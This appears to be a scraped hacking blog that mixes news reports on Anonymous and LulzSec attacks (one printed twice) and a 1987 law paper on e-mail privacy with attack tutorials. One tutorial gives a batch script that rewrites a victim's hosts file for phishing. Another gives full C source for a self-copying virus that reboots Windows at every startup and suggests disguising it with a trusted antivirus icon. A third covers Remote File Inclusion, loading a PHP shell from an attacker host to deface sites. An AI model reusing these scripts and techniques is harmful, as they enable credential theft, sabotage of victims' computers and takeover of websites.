╰» αяνιη∂ нα¢кιηg тσσℓѕ

CSL Security hacked by TeaMp0isoN. CSL Security claim to be "New LulzSec" type hacking Group. Their goal is to show that most of the important websites are vulnerable,They claim to show that any system can be compromised, nothing is secure. They Hit Sites, generally hack the Govt sites.
Hacked site : http://www.cslsecurity.com/
Mirror of hack : http://zone-h.org/mirror/id/14799769

Hacker group to attack M'sian Govt portal (update) By Arvind PETALING JAYA: A hacker group has threatened to attack thewww.malaysia.gov.my website. The group, which calls itself Anonymous, said it will launch the attack at 7.30pm GMT on Wednesday (3.30am Thursday Malaysian time) and has named it “Operation Malaysia.” It posted the threat in a graphic on this website,http://i.imgur.com/PTFWh.png. Mikko Hypponen, chief research officer at the F-Secure Corporation - a computer security software company based in Helsinki, Finland - tweeted about the threat at 4.42am Malaysian time. No other details were available at this time. It is also not known why Anonymous has targeted the Malaysian website. Hacker group Anonymous threatens to attack Malaysian Government website. But there has been an uptick in “hacktivism” these past weeks, where hacker groups have targeted various organisations for political purposes. Hackers have attacked the International Monetary Fund and Sony PlayStation Network, as well as the networks of aeronautics companyLockheed Martin Corp and Citibank in North America, amongst others. Anonymous was blamed for the hack into the PlayStation network but a spokesman for the group has denied involvement, saying that its aims are political. Spain, however, has arrested three suspected members of the hacker group for that attack. Anonymous apparently comprises a vast number of hackers in various countries, who have been organised into cells that share common goals. They operate anonymously but in a co-ordinated fashion. Meanwhile the AP reported from New York that a group of hackers has gained access to the websites of the U.S. Senate and video game company Bethesda Softworks, the latest in a series of cyberattacks plaguing a broad range of online victims. The group, which calls itself Lulz Security, posted what it called a "small, just-for-kicks release of some internal data" from Senate.gov on its website on Monday. Likely referencing reports that the Pentagon is considering whether a cyberattack could be considered an act of war, the group also wrote "is this an act of war, gentlemen? Problem?" A representative from the office of the Senate sergeant-at-arms did not immediately return a phone message for comment Monday afternoon. File - In this May 15, 2011 file photo people wearing masks often used by a group that calls itself "Anonymous" take part in a rally in Madrid. Spanish police arrested three suspected computer hackers that allegedly belonged to a loose-knit international activist group that has attacked corporate and government websites around the world, authorities said Friday June 10, 2011. A National Police statement identified the three detainees as leaders of the Spanish section of a group that calls itself "Anonymous." - AP Bethesda acknowledged the intrusion in a blog post Monday, saying hackers may have gained access to users' names, email addresses and passwords. The company said no credit card data or other financial information were compromised. Josh Shaul, chief technology officer at database security software makerApplication Security Inc., said the data Lulz posted is "verifiable proof" that it was able to gain access to and take control of the Senate's website. "It's a very skilled group," he said. "They claimed it was easy." Lulz Security has also recently claimed responsibility for breaking into the websites of PBS, Sony Pictures, Nintendo and others. Meanwhile, it's unclear who was responsible for a recent cyberattack on the International Monetary Fund's computer system or the one on Citibank that stole about 200,000 credit card account numbers, customer names and email addresses. Shaul said the recent string of attacks take advantage of insecure systems. While companies are protecting the perimeter of their computer systems, once hackers get in, "everything is there to own," he said. It's the equivalent of a bank putting a guard at the door and leaving all the money in a pile instead of in safes and vaults, he added. "We've created this situation where it's so easy for a skilled attacker to break in and get data," Shaul said. "They are doing it because they can." Bethesda declined to comment beyond its blog post and did not say how many users were affected. In Twitter messages, Lulz (Internet-speak for laughs) said it has had information on more than 200,000 users "for weeks" and broke into Bethesda's website more than two months ago. Bethesda, meanwhile, said that a hacker group "attempted an unlawful intrusion" over the weekend. Lulz said on its website Monday it is not releasing information it has on the 200,000-plus users. Bethesda, behind games such as "Brink" and "Fallout: New Vegas," is a subsidiary of ZeniMax Media Inc., based in Washington, D.C. Related story: Hackers break into U.S. Senate computers

2023-07-03T07:28:00.000-07:00

Hacker group to attack M'sian Govt portal (update)
By Arvind

PETALING JAYA: A hacker group has threatened to attack thewww.malaysia.gov.my website.

The group, which calls itself Anonymous, said it will launch the attack at 7.30pm GMT on Wednesday (3.30am Thursday Malaysian time) and has named it “Operation Malaysia.”

It posted the threat in a graphic on this website,http://i.imgur.com/PTFWh.png.

Mikko Hypponen, chief research officer at the F-Secure Corporation - a computer security software company based in Helsinki, Finland - tweeted about the threat at 4.42am Malaysian time.

No other details were available at this time. It is also not known why Anonymous has targeted the Malaysian website.

Hacker group Anonymous threatens to attack Malaysian Government website.
But there has been an uptick in “hacktivism” these past weeks, where hacker groups have targeted various organisations for political purposes.

Hackers have attacked the International Monetary Fund and Sony PlayStation Network, as well as the networks of aeronautics companyLockheed Martin Corp and Citibank in North America, amongst others.

Anonymous was blamed for the hack into the PlayStation network but a spokesman for the group has denied involvement, saying that its aims are political. Spain, however, has arrested three suspected members of the hacker group for that attack.

Anonymous apparently comprises a vast number of hackers in various countries, who have been organised into cells that share common goals. They operate anonymously but in a co-ordinated fashion.

Meanwhile the AP reported from New York that a group of hackers has gained access to the websites of the U.S. Senate and video game company Bethesda Softworks, the latest in a series of cyberattacks plaguing a broad range of online victims.

The group, which calls itself Lulz Security, posted what it called a "small, just-for-kicks release of some internal data" from Senate.gov on its website on Monday.

Likely referencing reports that the Pentagon is considering whether a cyberattack could be considered an act of war, the group also wrote "is this an act of war, gentlemen? Problem?"

A representative from the office of the Senate sergeant-at-arms did not immediately return a phone message for comment Monday afternoon.

File - In this May 15, 2011 file photo people wearing masks often used by a group that calls itself "Anonymous" take part in a rally in Madrid. Spanish police arrested three suspected computer hackers that allegedly belonged to a loose-knit international activist group that has attacked corporate and government websites around the world, authorities said Friday June 10, 2011. A National Police statement identified the three detainees as leaders of the Spanish section of a group that calls itself "Anonymous." - AP
Bethesda acknowledged the intrusion in a blog post Monday, saying hackers may have gained access to users' names, email addresses and passwords. The company said no credit card data or other financial information were compromised.

Josh Shaul, chief technology officer at database security software makerApplication Security Inc., said the data Lulz posted is "verifiable proof" that it was able to gain access to and take control of the Senate's website.

"It's a very skilled group," he said. "They claimed it was easy."

Lulz Security has also recently claimed responsibility for breaking into the websites of PBS, Sony Pictures, Nintendo and others. Meanwhile, it's unclear who was responsible for a recent cyberattack on the International Monetary Fund's computer system or the one on Citibank that stole about 200,000 credit card account numbers, customer names and email addresses.

Shaul said the recent string of attacks take advantage of insecure systems. While companies are protecting the perimeter of their computer systems, once hackers get in, "everything is there to own," he said. It's the equivalent of a bank putting a guard at the door and leaving all the money in a pile instead of in safes and vaults, he added.

"We've created this situation where it's so easy for a skilled attacker to break in and get data," Shaul said. "They are doing it because they can."

Bethesda declined to comment beyond its blog post and did not say how many users were affected.

In Twitter messages, Lulz (Internet-speak for laughs) said it has had information on more than 200,000 users "for weeks" and broke into Bethesda's website more than two months ago. Bethesda, meanwhile, said that a hacker group "attempted an unlawful intrusion" over the weekend.

Lulz said on its website Monday it is not releasing information it has on the 200,000-plus users.

Bethesda, behind games such as "Brink" and "Fallout: New Vegas," is a subsidiary of ZeniMax Media Inc., based in Washington, D.C.

Related story: Hackers break into U.S. Senate computers

Desktop Phishing - Step by step tutorial

2023-07-03T07:27:00.000-07:00

It is an advance form of phishing. Kindly read my previous post on normal phishing herebefore proceeding.Difference between phishing and desktop phishing is as follows.

In phishing :-

1. Attacker convinces the victim to click on the link of fake login page which resembles a genuine login page.

2.Victim enters his credentials in fake login page that goes to attacker.

3.Victim is then redirected to an error page or genuine website depending on attacker.

But main drawback in phishing is that victim can easily differentiate between fake and real login page by looking at the domain name. We can overcome this in desktop phishing by spoofing domain name.

In desktop phishing:-

1. Attacker sends an executable/batch file to victim and victim is supposed to double click on it. Attacker's job is done.

2. Victim types the domain name of orignal/genuine website and is taken to our fake login page. But the domain name remains the same as typed by victim and victim doesn't come to know.

3. Rest of the things are same as in normal phishing.

What is Hosts File ?

The hosts file is a text file containing domain names and IP address associated with them.

Location of hosts file in windows: C:\Windows\System32\drivers\etc\

Whenever we visit any website, say www.anything.com , an query is sent to Domain Name Server(DNS) to look up for the IP address associated with that website/domain. But before doing this the hosts file on our local computer is checked for the IP address associated to the domain name.

Suppose we make an entry in hosts file as shown. When we visit www.anywebsite.com , we would

be taken to this 115.125.124.50. No query for resolving IP address associated with www.anywebsite.com would be sent to DNS.

What is attack ?

I hope you have got an idea that how modification of this hosts file on victim's computer can be misused. We need to modify victim's hosts file by adding the genuine domain name and IP address of our fake website /phishing page. Whenever victim would visit the genuine website , he would be directed to our fake login page and domain name in the URL box would remain genuine as typed by victim. Hence domain name is spoofed.

Two Steps to perform attack :-

1. Create and host phishing page on your computer.

2. Modify victim's host file

Step 1 -:

Since the webshosting sites like 110mb.com,ripway.com etc where we usually upload our phishing page do not provide a IP that points to your website like www.anything.110mb.com. An IP address points to a webserver and not a website. So we need to host the phishing page on our computer using a webserver software like wamp or xampp.

Kindly read my simple tutorial on setting up XAMPP webserver here and this step would be clear to you.

Step 2. This step can performed in two different ways.

Method 1 - Send victim a zip file containing modified host file . When Zip file would be clicked, It would automatically replace victim's orignal hosts file with modified hosts file.

Copy your hosts file and paste it anywhere . Modify it according to yourself..Edit it with any text editor and associate your public IP address with domain you wish as show.

Like in this case , when victim would visit gmail.com , he would be taken to website hosted on IP 'xxx.xxx.xxx.xxx'.Replace it with your public IP.Compress hosts file such that when victim opens it, it automatically gets copied to default location C:\Windows\system32\drivers\etc and victim's hosts file get replaced by our modified hosts file.

Then you can bind this file with any exe ( using a binder or directly give it to victim. He is supposed to click it and you are done .

Method 2 - Create a batch file which would modify hosts file as per your need.

Open your notepad and type the following text

echo xxx.xxx.xxx.xxx. www.watever.com >> C:\windows\system32\drivers\etc\hosts

echo xxx.xxx.xxx.xxx watever.com >> C:\windows\system32\drivers\etc\hosts

Obviously replace it with your IP and website acc. to yourself.

Save file as 'all files' instead of txt files and name it anything.bat . Extension must be .bat

When victim would run this file, a new entry will be made in hosts file.

You can test both the above methods to modify your own hosts file

Limitations of attack :-

1.Since our pubilc IP address is most probably dynamic that it gets changed everytime we disconnect and connect. To overcome this we need to purchase static IP from our ISP.

2. The browser may warn the victim that Digital Certificate of the website is not genuine.

Countermeasures:-

Never just blindly enter your credentials in a login page even if you yourself have typed a domain name in web browser. Check the protocol whether it is "http" or "https" . https is secure.

A Virus Programe to Restart Computer At Every Startup

2023-07-03T07:26:00.001-07:00

A Virus Program to Restart the Computer at Every Startup

Submitted by Srikanth on Friday, 17 October 200899 Comments

Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.

For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus since I have coded this virus in C. So if you are familiar with C languagethen it’s too easy to understand the logic behind the coding.

Here is the source code.

#include
#include
#include

int found,drive_no;char buff[128];

void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}

void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;

case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;

case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;

case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;

default:
exit(0);
}

while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}

else
system(“shutdown -r -t 0″); //if the system is already infected then just give a command to restart
}

NOTE: COMMENTS ARE GIVEN IN BROWN COLOUR.

Compiling The Scource Code Into Executable Virus.

1. Download the Source Code Here

2. The downloaded file will be Sysres.C

3. For step-by-step compilation guide, refer my post How to compile C Programs.

Testing And Removing The Virus From Your PC

You can compile and test this virus on your own PC without any fear. To test, just doubleclick the sysres.exe file and restart the system manually. Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by the following steps.

1. Reboot your computer in the SAFE MODE

2. Goto

X:\Windows\System

(X can be C,D,E or F)

3.You will find a file by name sysres.exe, delete it.

4.Type regedit in run.You will goto registry editor.Here navigate to

HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run

There, on the right site you will see an entry by name “sres“.Delete this entry.That’s it.You have removed this Virus successfully.

Logic Behind The Working Of The Virus

If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete. So I’ll explain the logic in a simplified manner. Here I’ll not explain the technical details of the program. If you have further doubts please pass comments.

LOGIC:

1. First the virus will find the Root partition (Partition on which Windows is installed).

2. Next it will determine whether the Virus file is already copied(Already infected) intoX:\Windows\System

3. If not it will just place a copy of itself into X:\Windows\System and makes a registry entry to put this virus file onto the startup.

4. Or else if the virus is already found in the X:\Windows\System directory(folder), then it just gives a command to restart the computer.

This process is repeated every time the PC is restarted.

NOTE: The system will not be restarted as soon as you double click theSysres.exe file.The restarting process will occur from the next boot of the system.

AND ONE MORE THING BEFORE YOU LEAVE (This Step is optional)

After you compile, the Sysres.exe file that you get will have a default icon. So if you send this file to your friends they may not click on it since it has a default ICON. So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.

For example you can change the .exe file’s icon into Norton antivirus ICON itself so that the people seeing this file beleives that it is Norton antivirus. Or you can change it’s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.

The detailed tutorial on changing the ICON is given in my post How To Change The ICON Of An EXE File .

What is Remote File Inclusion (RFI) Web Hacking ?

2023-07-03T07:26:00.000-07:00

What is Remote File Inclusion (RFI) Web Hacking ? : Indian Cyber Army ~ http://www.cyberarmy.in/2011/01/what-is-remote-file-inclusion-rfi-web.html
Hey friends...Now we will know about Website hacking method "Remote File Inclusion (RFI)" . This exploits are very simple and are only found in about 1 in every 10 sites - they are still allot of fun to exploit. In this tutorial i will show you how to take advantage of this coding error and possibly take control of the site.This ICA article is for Educational Purpose Only...so please Use this for knowledge Only !

This articles will be unserstandable mostly by web developers,or how know some web programming in html,php,asp etc...Lets start..

A Remote File Inclusion vulnerability is where we trick the web server in to putting our file (file uploader / php shell) in to the web page. It then parses our PHP script and we then have full control over the server. The exploit works because when a website calls another page to be displayed except, we edit the url so that the website thinks our shell is the page to display.

Normally, I'm against stuff like this. I believe people should find their own vulnerablesites. But, for the sake of this paper, i will show you how we can use google to get us vulnerable sites.

We will query google like so:

inurl:"index.php?page="

This query asks google to give us any page with index.php?page= in the url. If we look at it, we can see that 'page' is calling up whatever is after the equals sign. This is where the actual exploit lies. A good test to see if a website is actually vulnerable is to enter
http://www.google.com after the equal sign.

www.site.com/index.php?page=www.google.com

It is not nessesry that every site will work loke above statement....Only those will redirect to google,which having the security holes...
If the full google.com website appears on the page, the websiteis vulnerable. If not, keep looking. To exploit the vulnerability we must first look at the following example of a RFI:

this is an example only,There is no such sites or file....
www.shittysite.com/index.php?page=www.theevilhackerz.com/shell.txt?

A) Get a free host website (like dajoob or free webs)
B) Put a PHP shell (c99) in text form on the site
C) Insert the path to the shell in the vulnerable hosts url, like the example above.
D) You can then proceed to deface the site etc.

If you have any question or query ,the feel free to ask..Post a comment here !
Thankyou,
Admin,ICA.

If you find this article useful, please feel free to link to this page from your website or blog.

URL:

HTML Link:

Forum Link:

COMPUTER ELECTRONIC MAIL AND PRIVACY

2011-09-14T07:47:00.001-07:00

COMPUTER ELECTRONIC MAIL AND PRIVACY
====================================

by

Ruel T. Hernandez

801 Cedarbend Way
Chula Vista, California 92010
(619) 421-6517 (voice)
(CompuServe: 71450,3341)
(GEnie Mail: R.HERNANDEZ)

January 11, 1987

Copyright (c) 1986, 1987 by Ruel T. Hernandez

(This is an edited version of a law school seminar paper I wrote at
California Western School of Law. A another version of the paper, entitled
"Electronic Mail - Your Right to Privacy," by Ruel T. Hernandez as told to
Dan Gookin, was published as the cover story in The Byte Buyer, San Diego's
Microcomputer Magazine, volume 4, number 24, December 5, 1986. That version
may also be found on their BBS at 619/226-3304 or 619/573-0359. Note,
citations to the Electronic Communications Privacy Act of 1986 refer to the
final version passed by the House of Representatives on October 2, 1986,
which was passed by the Senate the day before, as listed in the
Congressional Record.)

INTRODUCTION

Two years ago, legislation was introduced into Congress that sought to
provide federal statutory guidelines for privacy protection of computer
communications, such as electronic mail found on commercial computer systems
and on remote computer systems, commonly known as bulletin board systems
(BBS). Old federal wiretap law only gave protection to normal audio
telephonic communications. There was no contemplation of computers or their
operators using telephone lines to communicate. The old federal wiretap law
regulated police interceptions of communications while they are being
transmitted on a telephone line. Before the Electronic Communications
Privacy Act of 1976, the law did not provide guidelines for protecting the
transmitted message once it was stored within a computer system.

QUESTIONS

(1) Whether electronic mail and other intended private material stored
within an electronic computer communication system have Fourth Amendment
privacy protection?

(2) Should private electronic mail and other such material be accorded
the protection guidelines as with telephone communication and the U.S. Mail?

PROBLEM

Law enforcement seeks criminal evidence stored as E-Mail on either a
local, user-supported BBS, or on a commercial computer service, such as
CompuServe, GEnie or The Source. (Note, this situation is equally
applicable to personal, private data stored on a remote system for later
retrieval, as with CompuServe's online disk storage capabilities.)

For instance, a computer user calls up a computer communication system.
Using the electronic mail function, he leaves a private message that can
only be read by an intended recipient. The message is to inform the
recipient of a conspiracy plan to violate a federal or state criminal
statute. Law enforcement gets a tip about the criminal activity and learn
that incriminating evidence may be found on the computer system.

In 1982, such a situation occurred. (Meeks, Brock, "Life at 300 Baud:
Crime on the BBS Network," Profiles, August, 1986, 12-13.) A Detroit
federal grand jury, investigating a million-dollar cocaine ring, issued a
subpoena ordering a commercial service, The Source, to hand over private
subscriber data files. The files were routinely backed up to guard against
system crashes. The grand jury was looking for evidence to show that the
cocaine ring was using The Source as communication base to send messages to
members of the ring. With such evidence, the grand jury could implicate or
indict those suspected to be a part of the cocaine ring. The Source refused
to obey the subpoena. The prosecution argued The Source could not
vicariously assert a subscriber's privacy rights. Constitutional rights are
personal and could only be asserted by the person whose rights are invaded.
Additionally, if the files containing messages were duplicated, any
reasonable expectation of privacy by users would be extinguished. A court
battle ensued. However, before a ruling could be made, the kingpin of the
cocaine ring entered a surprise guilty plea to federal drug trafficking
charges. The case against the Source was discontinued.

Publicly posted messages and other public material may be easily
retrieved by law enforcement. It is the private material, such as E-Mail,
that poses the problem.

Law enforcement's task is then to gather enough evidence to
substantiate a criminal case. Specifically, they would want the E-Mail, or
other private files, transmitted by suspected criminals. A computer
communications service, as keeper and transmitter of private electronic
messages, would not want to turn over the private data.

INADEQUACY OF OLD LAW

Brock Meeks of Profiles magazine noted that as of August, 1986, "no ...
protection exist[ed] for electronic communications. Any law enforcement
agency can, for example, confiscate a local BBS and examine all the message
traffic," including and private files and E-Mail. (Ibid.)

In the next section, case law will be examined and statutory law prior
to the Electronic Communications Privacy Act of 1986 (ECPA) will be noted.
Seemingly applicable statutes, as they stood, provided no guidelines for
privacy protection of electronic computer communication systems, such as
CompuServe, GEnie, and local, user-operated BBSs.

CASE LAW

There is little case law available on computer communications and
Fourth Amendment constitutional problems. (M.D. Scott, Computer Law, 9-9
(1984 & Special Update, August 1, 1984).) If not for the surprise
preemptive guilty plea, the above described Detroit case may have provided
guidance on computer communications and privacy issues.

Of the available cases, Scott noted those that primarily dealt with
financial information found in bank and consumer credit organization
computers. In U.S. v. Davey, 426 F.2d 842, 845 (2 Cir. 1970), the
government had the right to require the production of relevant information
wherever it may be lodged and regardless of the form in which it is kept and
the manner in which it may be retrieved, so long as it pays the reasonable
costs of retrieval. In a California case, Burrows v. Superior Court, 13
Cal. 3d 238, 243, 118 Cal. Rptr. 166, 169 (1974), a depositor was found to
have a reasonable expectation that a bank would maintain the confidentiality
of both those papers in check form originating from the depositor and the
depositor's bank statements and records of those same checks. However, in
U.S. v. Miller, 425 U.S. 435, 440 (1976), customer account records on a
banks' computer were held to not be private papers of the bank customer,
and, hence, there is no Fourth Amendment problem when they are subpoenaed
directly from the bank.

The computer data and information in these cases have more of a
business character in contrast to personal E-Mail found on remote computer
systems such as CompuServe or a local BBS. Under the old law, a prosecutor,
as in the Detroit case, may try to analogize duplicated and backed up E-Mail
to business situations where data on business computer databases are also
backed up. Both types of computer data are stored on a system and then
later retrieved. The provider of the remote computing service or the sysop
would counterargue that the nature of computers always require the
duplication and backup of any computer data, whether the data files are E-
Mail or centrally-based financial or credit data. Duplication does not
necessarily make E-Mail the same as financial or credit data stored in
business computers. Centrally-based business information is more concerned
with the data processing. That information is generally stored and
retrieved by the same operator. E-Mail is more concerned with personal
communications between individuals where the sender transmits a private
message to be retrieved only by an intended recipient. The sender and the
recipient have subjective expectations of privacy that when viewed
objectively is reasonable. Therefore, there is a constitutionally protected
expectation of privacy under Katz v. U.S., 389 U.S. 347, 19 L.Ed. 88 S.Ct.
507 (1967). However, the prosecution would note under California v.
Ciraolo, -- U.S. --, 106 S.Ct. 1809 (1984), the users would have to protect
their electronic mail from any privacy intrusion. The provider or operator
of the remote system has ultimate control of his system. He has complete
access to all areas of the system. He could easily examine the material.
The prosecution would note the user could not reasonably protect his private
data from provider or operator invasion. This "knot-hole" would exclude any
idea of privacy. If there is no privacy, there can be no search and
therefore no Fourth Amendment constitutional violation. Law enforcement can
retrieve the material.

FEDERAL WIRETAP STATUTES

The federal wiretap statutes, before the Electronic Communication
Privacy Act of 1986, protected oral telephone communications from police
interceptions. This protection was made in 1968 in response to electronic
eavesdropping by government. (Cohodas, Nadine, "Congress Races to stay
Ahead of Technology," Congressional Quarterly Weekly Report, May 31, 1986,
1235.) Although E-Mail appears to come under the statute's definition of
"wire communication," under the old law, it was limited to audio
transmissions by wire or cable and does not mention stored computer data.
(18 U.S.C. sec. 2510(1).) The old law required that an interception of a
wire communication be an aural acquisition of the communication. (18 U.S.C.
sec. 2510(4).) Being "aural," the communication must be "heard."
Therefore, a computer communication may come under the old law while being
transmitted. After a caller's message is "sent" on a remote computer
system, the message is then stored within the computer's system. The
communication's conversion into computer stored data, thus no longer in
transmission until retrieved, takes the communication out of the old
statutory protection.

"Eighteen years ago ... Congress could not appreciate - or in some
cases even contemplate - [today's] telecommunications and computer
technology...." (132 Cong. Rec. S7992 (daily ed. June 19, 1986) (statement
of Sen. Leahy).)

CALIFORNIA'S INVASION OF PRIVACY AND WIRETAP STATUTE

California's "invasion of privacy" and wiretap statutes (Cal. Penal
Code sec. 630 et seq.), appears to provide state protection for BBSs.
California Penal Code sec. 637 reads as:

Every person not a party to a telegraphic or telephonic
communication who willfully discloses the contents of a
telegraphic or telephonic message, or any part thereof, addressed
to another person, without the permission of such person, unless
directed so to do by the lawful order of a court, is punishable
by imprisonment in the state prison, or in the count jail not
exceeding one year, or by fine not exceeding five thousand
dollars ($5000), or by both fine and imprisonment.

Again, the question here would be whether "telegraphic or telephonic
messages" include computer communications via modem where a transmitted
message is subsequently stored within a computer awaiting retrieval by its
intended recipient. Again, the storage of the data takes the computer
communications out of the statute. When the statute was passed, the
California legislature, much like the Congress, could not foresee the
technological advances in computer communications.

It should be noted that Assemblywoman Moore introduced legislation in
1985 that would amend have the California state constitution to explicitly
provide state constitutional privacy protection for remote computing
services and their stored information. However, nothing has come out of
this. Aside from political reasons for the lack of further action is one
possible legal consequential argument against the amendment may be if
computer privacy protection is specified in the state constitution, more
litigation may result to tie up the courts in cases deciding whether or not
there is privacy protection for other unspecified matters. Although,
overall, the California state constitution is much more specific than the
United States Constitution, it may be best to not be any more specific with
regard to privacy.

PROTECTION FOR U.S. MAIL

Statutory U.S. Mail protection provides a suggestion for statutory
provisions of privacy protection for E-Mail deposited in electronic
communication systems. The unauthorized taking out of and examining of the
contents of mail held in a "depository for mail matter" before it is
delivered to the mail's intended recipient is punishable by fine,
imprisonment, or both. (18 U.S.C. sec. 1702.)

SOLUTION - THE NEW LAW

There are two methods towards a solution: (1) court decisions; and (2)
new legislated privacy protection.

COURT DECISIONS

Courts may have chosen to read computer communications protection into
the old federal wiretap statute or into existing state law. However, they
were reluctant to do so. Courts "are in no hurry to [revise or make new law
in this area] and some judges are openly asking Congress for help....
[F]ederal Appeals Court Judge Richard Posner in Chicago said Congress needed
to revise current law, adding that 'judges are not authorized to amend
statutes even to bring them up-to-date.'" (Cohodas, Nadine, "Congress Races
to Stay Ahead of Technology," Congressional Quarterly Weekly Report, May 31,
1986, p. 1233.)

NEW STATUTE

Last October 21, 1986, President Reagan signed the Electronic
Communications Privacy Act of 1986 amending the federal wiretap law. The
new Act (P.L. 99-508) would not take immediate effect until three months
after the signing - presumably January 21, 1986. (18 U.S.C. secs. 111 and
202.)

When the new law does take effect, it would first provide privacy
protection for any

'electronic communication' ... [by] any transfer of signs,
signals, writing, images, sounds, data or intelligence of any
nature transmitted in whole or in part by a wire, radio,
electromagnetic, photoelectronic or photooptical system that
affects interstate or foreign commerce...."

(18 U.S.C. sec. 2510(10).)

Second, and more importantly for this discussion, ECPA would protect
"stored wire and electronic communications," i.e. E-Mail stored and backed
up on disk or tape on an electronic computer communication system. (18
U.S.C. sec. 2701(a)(1) and (2).) The legislation makes it a federal
criminal offense to break into any electronic system holding copies of
messages or to exceed authorized access to alter or obtain the stored
messages. (Ibid.)

The legislation would protect electronic computer communication systems
from law enforcement invasion of user E-Mail without a court order. (18
U.S.C. sec. 2703.) Although the burden of preventing invasion of the E-Mail
is placed on the subscriber or user of the system, the government must give
him notice allowing him fourteen days to file a motion to quash a subpoena
or to vacate a court order seeking disclosure of his computer data. (18
U.S.C. sec. 2704(b).) However, the government may give delayed notice when
there are exigent circumstances as listed by the Act (18 U.S.C. sec. 2705.)

The legislation gives a civil cause of action to the provider or
operator, subscriber, customer or user of the system aggrieved by an
invasion of private material stored in the system in violation of ECPA. (18
U.S.C. sec. 2702; see also 18 U.S.C. sec. 2520.) If the provider or
operator has to disclose information stored on his system due to a court
order, warrant, subpoena, or certification under ECPA, there can be no cause
of action against him by any person aggrieved by such disclosure. (18
U.S.C. sec. 2703(e); see also sec. 2702(b).)

The electronic communications, under this new Act, must be sent by a
system that "affects interstate or foreign commerce." (18 U.S.C. sec.
2510(12).) The "electronic communications" may practically be limited to
electronic communications sent by common carrier telephone lines.

There may be some question as to whether or not ECPA is confined to
commercial systems and does not cover user-operated bulletin board systems.
That would be similar to arguing the old federal wiretap law was confined to
long distance communications and not to local telephone calls. The House
report (H.R. No. 647, 99th Cong. (1986)), indicates user-operated BBSs are
intended to be covered by the Act. The House noted a difference between
commercial subscription systems and user-operated BBSs readily accessible by
the public. However, it also noted the different levels of security found
on user-operated BBSs, i.e. the difference between system areas containing
private electronic mail and other areas containing public information.
Electronic communications that the operator attempts to keep confidential
would be protected by ECPA, while there would be no liability for access to
features configured to be readily accessible by the general public.
Language in the Act also refers to "the person or entity providing the wire
or electronic communication service." Such language may be seen to indicate
the inclusion of individuals who operate a BBS. (18 U.S. secs. 2701(c)(1)
and 2702(a)(1) and (b).) Additionally, a remote computing service was
defined in the Act as an electronic communications system that provides
computer storage or processing services to the public. (18 U.S.C. sec.
2710(2).) This would certainly be applicable to a user-operated BBS that
is easily accessible to public with the simple dialing of a telephone number
by a modem-equipped computer. On the political side, Senator Leahy, a
principal sponsor of the Act was reported to have been "soliciting [users
and operators' of BBSs] comments and encourage sensitivity to the needs of
BBS's in the legislation.... They are ... willing to listen to our side of
things." (BBSLAW02.MSG, dated 07/24/85, information from Chip Berlet,
Secretary, National Lawyers Guild Civil Liberties Committee, transmitted by
Paul Bernstein, SYSOP, LAW MUG, Chicago, Illinois 312/280-8180, regarding
Federal Legislation Affecting Computer Bulletin Boards, deposited on The
Legacy Network 213/553-1473.)

CONCLUSION

Electronic mail stored on computer communication systems have Fourth
Amendment constitutional privacy protection. Unfortunately, before the
Electronic Communications Privacy Act of 1986, such protection was not
articulated by federal or state statutory guidelines. Case law also did
not provide any helpful guidance. The peculiarities of computers and
computer storage posed problems which were not addressed by the old wiretap
laws. They were also problems overwhelmed by constitutional privacy law as
defined by the United States Supreme Court. A legislative solution was
required and was provided for by ECPA.

[For more information on ECPA, see 132 Cong. Rec. H8977 (daily ed.
October 2, 1986) or "Major Provisions of 1986 Electronic Privacy Act,"
Congressional Quarterly Weekly Report, October 11, 1986, 2558.]

The Magic of NetBIOS

2011-09-14T07:42:00.001-07:00

The Magic of NetBIOS

In this guide you will learn how to explore the Internet using Windows XP and NetBIOS:

· How to Install NetBIOS <beginnine2a.shtml>

